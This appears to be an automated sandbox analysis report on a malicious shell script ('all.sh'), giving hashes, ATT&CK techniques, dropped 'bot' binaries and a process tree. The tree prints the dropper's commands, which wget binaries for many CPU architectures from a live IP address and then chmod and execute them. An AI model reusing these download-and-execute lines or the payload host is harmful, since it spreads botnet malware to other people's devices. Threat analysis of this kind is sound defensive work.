289a65cd34035c522e456140bca2c5fdf6ad0d1afabc446dcda7fa528dd97b09

Analysis

max time kernel
148s
max time network
147s
platform
debian-9_mipsel
resource
debian9-mipsel-20260126-en
resource tags

arch:mipselimage:debian9-mipsel-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/04/2026, 06:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
all.sh
Size 3KB
Sample260429-hebb5sc16j
SHA256 289a65cd34035c522e456140bca2c5fdf6ad0d1afabc446dcda7fa528dd97b09
MD5 72cce5f54f04dc9a49d1c977a5c69d01
SHA1 aab324c7901cba601be0dc78df21b6d03b052caa
SHA512 884fb73eb41fa207fd0c5a6e836b4114abf43edbb7cd69922b97b4d6e03ce835d337d0dea3999f80e94ea03166dd9b1f66f2e05813ee84bcd596d9f1e728c89c
TLSH
T1677194DC012133B7ED29AB1F7B54CB25298481D22E90CFBD6D49DE244B847A73B4B6C0
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (2721) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
749	chmod
751	chmod
753	chmod
757	chmod
761	chmod
762	chmod
864	chmod
750	chmod
754	chmod
759	chmod
760	chmod
763	chmod
769	chmod
773	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/bot	756	all.sh
/tmp/bot	755	all.sh
/tmp/bot	758	all.sh
/tmp/bot	764	all.sh
/tmp/bot	765	all.sh
/tmp/bot	767	all.sh
/tmp/bot	766	all.sh
/tmp/bot	768	all.sh
/tmp/bot	770	all.sh
/tmp/bot	771	all.sh
/tmp/bot	774	all.sh
/tmp/bot	775	all.sh
/tmp/bot	777	all.sh
/tmp/bot	865	all.sh

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	865	bot

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
722	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget

/tmp/all.sh
/tmp/all.sh
1⤵
- Executes dropped EXE
PID:708
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.i686 -O bot
  2⤵
  - Writes file to tmp directory
  PID:720
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm -O bot
  2⤵
  - Writes file to tmp directory
  PID:726
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.x86_64 -O bot
  2⤵
  - Writes file to tmp directory
  PID:723
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.mips -O bot
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.mpsl -O bot
  2⤵
  - Writes file to tmp directory
  PID:725
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.x86 -O bot
  2⤵
  - Writes file to tmp directory
  PID:727
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm5 -O bot
  2⤵
  - Writes file to tmp directory
  PID:728
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm7 -O bot
  2⤵
  - Writes file to tmp directory
  PID:731
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm6 -O bot
  2⤵
  - Writes file to tmp directory
  PID:730
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.spc -O bot
  2⤵
  - Writes file to tmp directory
  PID:734
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.ppc -O bot
  2⤵
  - Writes file to tmp directory
  PID:736
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.m68k -O bot
  2⤵
  - Writes file to tmp directory
  PID:739
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.sh4 -O bot
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arc -O bot
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/bot
  ./bot
  2⤵
  PID:755
- /tmp/bot
  ./bot
  2⤵
  PID:756
- /tmp/bot
  ./bot
  2⤵
  PID:758
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/bot
  ./bot
  2⤵
  PID:764
- /tmp/bot
  ./bot
  2⤵
  PID:765
- /tmp/bot
  ./bot
  2⤵
  PID:766
- /tmp/bot
  ./bot
  2⤵
  PID:767
- /tmp/bot
  ./bot
  2⤵
  PID:768
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/bot
  ./bot
  2⤵
  PID:770
- /tmp/bot
  ./bot
  2⤵
  PID:771
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/bot
  ./bot
  2⤵
  PID:774
- /tmp/bot
  ./bot
  2⤵
  PID:775
- /tmp/bot
  ./bot
  2⤵
  PID:777
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/bot
  ./bot
  2⤵
  - Changes its process name
  PID:865

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /tmp/bot
Size 236KB
SHA256 6337f3561292501418e5b32ffc69116da7cfbb7a2d2d270a650b5236ba74f31d
MD5 6f1d50c82fc28f3289afb5164c351db9
SHA1 3a7d0ceecad75f3a3d3d6882119f784e8df2c35c
SHA512 e506e5312116632fd638193ed83b99754a317af518dec41c772e11a5c64bd982484adbddac90f3b7f29b7b7d9b72e527a7ece283ad0baa443a4d11d5ef90f055
SSDEEP 6144:E2XF2pPYs7ArmRzHc6s5DZ6L+iIbNSCXkE83U5D:EwSYmRPsCLL3CXkhYD
TLSH
T1DD34CF50F461DF11D69A74B9F61E9274B3070BA953FB60046E35EB343B86A1B4A3F3A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 240KB
SHA256 fb8dd94736b5af3e31b369c99febb05844872c60b7988a6d6c7cb5074ae4fb09
MD5 cbb35d2f7b248b75ff95ed0ba52a8f5b
SHA1 e28d48ecd0c5eb33d3ae5515b9dcb1c11b7b7def
SHA512 1e181f5266ef9844f648c581eb50297202dd16eb576d791d171007e752d0c8f04a630f18873d5b06e5981eaae8fb97d23632cd7f0406748b9d3fa0ffb3f7f6d5
SSDEEP 6144:E2XF2pPYs7ArmRzHc6s5DZ6L+iZObNSCXkE83U5Fb:EwSYmRPsCLLzCXkhYF
TLSH
T1EE34BE50F461DF11C69678B9F64D9274B3470BBA93FBA0046A25EB343BC691B4A3F360
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 276KB
SHA256 b4204eb27419788afe7d1ba35cc1d5ef8bdc7ccdfcfd2b1634ae264175804364
MD5 2a074fc1c181c0eb67e613dea273a933
SHA1 695cc94b35cb01fe1e519b420ecca042b8d090cf
SHA512 1f2446ae3c0cd5baa281e134cc96acb533f44df4abc78618c1bb3cba43d201cd4296114298619c1ea062d38c3b74dd69b12d27d66aa0f4ea52ae4fd96d3c1be8
SSDEEP 6144:E2XF2pPYs7ArmRzHc6s5DZ6L+iZObNSCXkE83U5FCak3HG5qVO:EwSYmRPsCLLzCXkhYnk25qVO
TLSH
T1AF54CF50F161CF11C39574B5B65EC274B30B0BAA53FBA004AA35EB343B8661B4A3F7A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 720KB
SHA256 92cb6cf9f718e8a1bdd9a322b01145c968167b81819985a55ce207b4d29a305d
MD5 ce0f05c41cf9910fbc24a5e6119b0b75
SHA1 4de5b45562863e677ef3c93f5a19478643ec58cc
SHA512 dcbb09fb184e3d4af16ae4beab28380fcbb77209a8fff038e794f14c9bf0551f03d50ea9d873a87aa86c97c11f652afb41bb88043c9ea67c3b16d78919ab8f78
SSDEEP 12288:EwSYmRPsCLLzCXkhYnk25qV5rNC1H3dD1Bzpi8Q7zhkGzD17qivKE1qEx5rb21:zmFsOr2MVW3dpBzpiTOGzp7qivmExxu
TLSH
T149F49E63F9729E23C5A3523E657B8370723B938907819212A31DF7783BC2A184B5B7D5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 904KB
SHA256 a367a76bb1ed580cd09f1dee0f66466bdfef058f5981ee456bfc5b6288af1fc4
MD5 f4b6e588484fd610f90d8eb87c26f62d
SHA1 cda65b205a7206d67566891917260ed2c841bbed
SHA512 d15bb00882f947357f9f2b5a121d532b98e493b3b0157f1dc6eb6ef769a01451434c75270cebc1724eef4c47fe58536cc2cd1b79d4706d73e9cae13ae415b969
SSDEEP 12288:dh1nu36e2U0Jvcx3oHvO9YSPuXbRroVfnXl5Nm0+NTLjWJOWduFeq4uN/KWEk74/:mor03OSYlXYzNiAekyGh
TLSH
T1A6157E46BF911EABC4BBCE34C51EC21B01AD988302C2777971BC8A5CBA5E26D4FD3558
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads